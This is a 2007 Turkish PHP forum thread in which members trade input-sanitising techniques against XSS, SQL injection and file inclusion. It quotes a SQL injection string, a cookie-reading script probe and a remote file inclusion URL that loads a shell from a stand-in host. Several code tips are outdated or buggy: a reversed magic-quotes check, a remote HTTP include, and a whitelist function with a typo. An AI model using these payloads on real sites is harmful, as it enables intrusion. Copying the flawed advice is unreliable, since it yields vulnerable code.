• 30-07-2007, 18:10:20
    #1
    Üyeliği durduruldu
    Selam Arkadaşlar,
    Bu konuyu açma amacım güvenlik konusunda herkes kullandığı fonksiyonları paylaşması amaçlıdır. Her farklı işlemde farklı güvenlik önlemleri alınır, Eğer tek bir ugulama önlemi almaya kalkarsanız bu istenmeyen bug lara sebebiyet verebilir. Örneğin:
      $orig = "Selam ben <Lisans>\n ' Selamlar nasılsınız? '";
    $a = htmlentities($orig);
    $b = htmlspecialchars($a);
     echo $a; // Selam ben <Lisans>  ' Selamlar nasýlsýnýz? '
     echo $b; // Selam ben <Lisans>  ' Selamlar nasılsınız? '
    Gördüğünüz gibi kelimemizi htmlentities'ten geçirince "<",">" gibi kelimeler html kod'a döndü fakat türkçe karakterler bozuk çıktı ancak aynı yerde htmlspecialchars kullanınca türkçe karakter sorunu ortadan kalktı.Bizde bu konuda nerede nasıl güvenlik önlemi almalıyız onu tartışalım ve paylaşalım herkes'e yararlı olacaktır eminim.

    Örneğin Text tip'inde bir input'umuz var bundaki verileri süzmek için
    <?php
    $veri = "Selam ben <Lisans>\n ' Selamlar nasılsınız? '";
    echo htmlentities($veri);
    #Çıktı: Selam ben <Lisans>  ' Selamlar nasýlsýnýz? '
    ?>
    Html karakterleri normal hale getirecektir. Fakat türkçe karakterlerde sorun çıkartmaktadır buda bir bug'dır. Bunun yerine
    <?php
    $veri = "Selam ben <Lisans>\n ' Selamlar '";
    echo htmlspecialchars($veri);
    #Çıktı: Selam ben <Lisans>  ' Selamlar nasılsınız? '
    ?>
    Kullanırsak türkçe karakterlerde düzgün gözükecektir.

    Eğerki textarea'dan veri alıyorsak bu önlemler yine bug yaratacaktır ve ne kadar enter ile alt satıra geçilsede veriyi dümdüz veritabanına gönderecektir.O yüzden bu zamanda nl2br kullanırız. Fakat burada sıra çok önemlidir sıralama hatasıda istenmeyen bug'lara sebep olabilir.
     <?php
     $veri = "Selam ben <Lisans>\n ' Selamlar '";
    echo htmlspecialchars(nl2br($veri));
    #Çıktı: Selam ben <Lisans><br />  ' Selamlar nasılsınız? '
     ?>
    Fakat sıralamayı şu şekilde yaparsak istenmeyen hatalardan kurtulabiliriz.
      <?php
      $veri = "Selam ben <Lisans>\n ' Selamlar '";
    echo nl2br(htmlspecialchars($veri));
     #Çıktı: Selam ben <Lisans>
    #' Selamlar nasılsınız? '
      ?>
    Veritabanına bilgi eklerken ise ayrıyetten mysql_escape_string kontrolünden geçirmek gerekir. Çünkü veritabanında ' tag'ı sorun yaratır. Veritabanında string ifadeler '' tag'ları arasına yazılır ve kötü niyetli kişi ' OR '1'='1' komutu ile veritabanında yapılan kontrol'ü aşar ve panelinize sızabilir. Bunun önüne geçmek için mysql_escape_string yada addslashes komutu kullanılır.Ve benden size bir öneri veritabanında karşılaştıracağınız değer sayısal'da olsa mutlaka '' tagları arasın'a alın.
       <?php
    $veri = "' OR '1'='1'  ";
    $veri = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($veri) : mysql_escape_string($veri); //Normalde çalışması gerk bende çalışmadı neden bilmiyorum :~)
    echo  $veri;
       ?>
    yada addslashes yöntemini kullanırız
    $veri = "' OR '1'='1'  ";
    $veri = get_magic_quotes_gpc() ? addslashes($veri) : $veri;
    echo  $veri;
    Eğer veritabanına int,double, float gibi sayısal değer gönderirseniz ve bunu tırnaklar içine almak istemezseniz (olur ya bununda bug'u çıkar) o zaman intval, doubleval, floatval kullanılır.Bunlar kötü kodlardan arındırır örneğin:
    <?php
    echo intval(42);                      // 42
    echo intval(4.2);                     // 4
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    ?>
    floatval
     
    <?php
    $var = '122.34343The';
    $float_value_of_var = floatval($var);
    echo $float_value_of_var; // 122.34343
    ?>
    Bir diğer olay'da index.php?inc=deneme şeklinde olan uzantılarda deneme,islem vs. gibi kelimelere göre sayfaları include etmektir. Bazı arkadaşlar bu konuda ya güvenlik açığı verir yada çok fazla if kontrol'ü ile performans kaybı. Bunun için switch öneririm. Switch kullanımı hem performans bakımından hızlıdır hemde hatalara yer vermez.Örnek kullanımı:
    <?php
    switch(strtolower($_GET['inc'])){
    case "islem": include_once('islem.php'); break;
    case "iletisim": include_once('iletisim.php'); break;
    default: include_once('anasayfa.php');break;
    }
    ?>
    Böylece kişi ?inc=<script>alert(document.cookie);</script> komutu yollamaya kalksa bile case'lerle uyumlu olmadığı için anasayfa.php'yi include edecektir switch.
    urldecode ve urlencode bu ikisi daha çok link olaylarında kullanılır. Örneğin sitenize verilen linklere direk değilde FONONLINE Low cost domain names, domain transfers, web hosting, email accounts, and so much more. şeklinde yapmak istiyorsunuz o zaman bunu kullanırsınız. Fakat bu kodunda bug'u vardır. Html kodları tanınmayacak hale sokar o yüzden sadece url'leri içine atarsınız.
    <?php
    $veri = "http://www.google.com";
    echo "<a href=?ref=".urlencode($veri).">google</a>";
    #Çıktı: http://siteadi.com/?ref=http%3A%2F%2Fwww.google.com
    ?>
    urldecode ile'de http%3A%2F%2Fwww.google.com bu hale gelen link'i düzeltebilirsiniz.
    <?php
    $veri = "http%3A%2F%2Fwww.google.com";
    echo urldecode($veri);
    #Çıktı: _http://www.google.com
    ?>
    Evet arkadaşlar güvenlik konusu önemli konudur.Php'cilerden kullandıkları yöntemleri,Amatörlerden soru'larını bu topic altına bekliyorum.Yanlış kod kullanımı istenmeyen sonuçlar doğurabilir unutmayalım
    iyi akşamlar iyi çalışmalar
    Lisans
  • 30-07-2007, 20:15:27
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Güzel Bir Çalışma Olmuş Emeğine Sağlık Günümüzde Siteler 4 temel sebepten hack edilir gördüğüm kadarıyla

    1. dosya dahil etme
    2. Sql injection
    3.xss
    4.webmasterin şifre kaptırmasından

    yukardaki yöntemlerle ilk 2 ve 3 ortadan kaldıra biliriz
  • 30-07-2007, 23:51:48
    #3
    Üyeliği durduruldu
    belirttiğim switch yöntemini kullanırlarsa dosya dahil etme olayındanda kurtulurlar. İstenmeyen bug'lara bir örnekte post get verilerin temizliğidir. örneğin post ve get verileri sadece htmlspecialchars'dan geçirmek yeterli db'ye sokulacağı zaman ayrıyetten escape yada slashes fonk. sokulması daha yararlı olur. Herkesin config.php(ayar.php)'sinde olması gereken fonksiyonlardan biride şudur.
    function Temizle(){
    foreach($_GET as $key => $value){
      $_GET[$key] = htmlspecialchars($value);
     }
    foreach($_POST as $key => $value){
      $_POST[$key] = htmlspecialchars($value);
     }
    }
    Hadi arkadaşlar sizde yazın kullandığınız fonksiyonları, bulduğunuz bug'ları, merak ettiğiniz soruları
    Güvenlikle ilgili konuları burada tartışalım
  • 31-07-2007, 00:47:29
    #4
    switch fonksiyonuyla dosya dahil etmekten kurtulamazlar

    Şöyle bir dosya düşün alt.php

     <? include $sitedizini."temalar/ih.html"; ?>
    Aslında alt.php Dosyası Aşağıdaki gibi olsaydı sorun Olmazdı
    //Config.php De $sitedizini diye bir değişkenin değerinin olduğunu var sayarak
     <?
    include "config.php";
    include $sitedizini."temalar/ih.html"; 
    ?>
    fakat


     <? include $sitedizini."temalar/ih.html"; ?>
    Kodlar bÖyle OLunca register_global'da On Olunca
    $sitedizini
    $_GET[sitedizini]
    Şeklinde Çalışabildiği için

    site.com/alt.php?sitedizini=http://www.remotem.com/albenibenshellim? Şeklinde zararlı Kod çalıştırıla bilinir
  • 31-07-2007, 00:49:55
    #5
    Misafir
    rif zaten pis bir olay, sql inject de (union vs..)
    zor işler vesselam
  • 31-07-2007, 01:04:45
    #6
    Üyeliği durduruldu
    <?php
    switch(strtolower($_GET['inc'])){
    case "islem": include_once('islem.php'); break;
    case "iletisim": include_once('iletisim.php'); break;
    default: include_once('anasayfa.php');break;
    }
    ?>

    Bu şekilde gördüğün gibi
    site.com/alt.php?sitedizini=http://www.remotem.com/ albenibenshellim?
    yapılsa dahi case(karşılaştırmalarda) istenilen bulunamayacağı için default çalışacaktır ve direk anasayfa.php include edilecektir. $siteadi kısmına gelince onun yerine
    <?php
    include "http://".$_SERVER['HTTP_HOST']."temalar/ih.html";
    ?>
    Bu şekilde kulanılırsa site adresini değişkene atamak gerekmez. Ve daha sağlıklı olur
    edit: ve değişken belirlerken mutlaka bir değer atayın hiç yoktan
    $deger = NULL;
    Yapın böyle yapınca global_on açık olsa dahi get olarak veri atılamaz.
  • 31-07-2007, 01:16:49
    #7
    Hocam zaten yukarda yazdıgın şekil Yazılırsa Sorun OLmaz ben Senin switch ile dosya dahil etme açığından Korunulur dediğinden dolayı yazdım ben
  • 31-07-2007, 01:21:58
    #8
    Üyeliği durduruldu
    O konuda haklısın yanlış kullananlarda var switch'i, örneğin get ile veriyi alıp sonuna .php yazıp ondan sonra bunu include edenler bile var . yada değişken oluşturup buna ilk değer atamayanlar vs. bu şekilde çok fazla açık oluşuyor
  • 31-07-2007, 10:42:03
    #9
    bu fonksiyonda benden olsun
    yazalı baya oluyor ama işinize yarar..

    <?
     function kelime_kontrol($kelime) {
      $dogrular = "QqWwEeRrTtYyUuIıOoPpĞğÜüAaSsDdFfGgHhJjKkLlŞşİiZzXxCcVvBbNnMmÖöÇç 1234567890 -+&!.,";
      $karakter  = @strtok($kelimem,$dogrular);
      while($karakter !== FALSE) {
       $kontrol[] = $karakter;
       $karakter = @strtok($dogrular);
      }
      if($kontrol != '') {
       return(0);
      } else {
       return($kelime);
      }
     }
    ?>
    $dogrular = "QqWwEeRrTtYyUuIıOoPpĞğÜüAaSsDdFfGgHhJjKkLlŞşİiZzX xCcVvBbNnMmÖöÇç 1234567890 -+&!.,";

    bölümündeki karakterler haricinde bir karakter kullanılırsa veri geri dönmez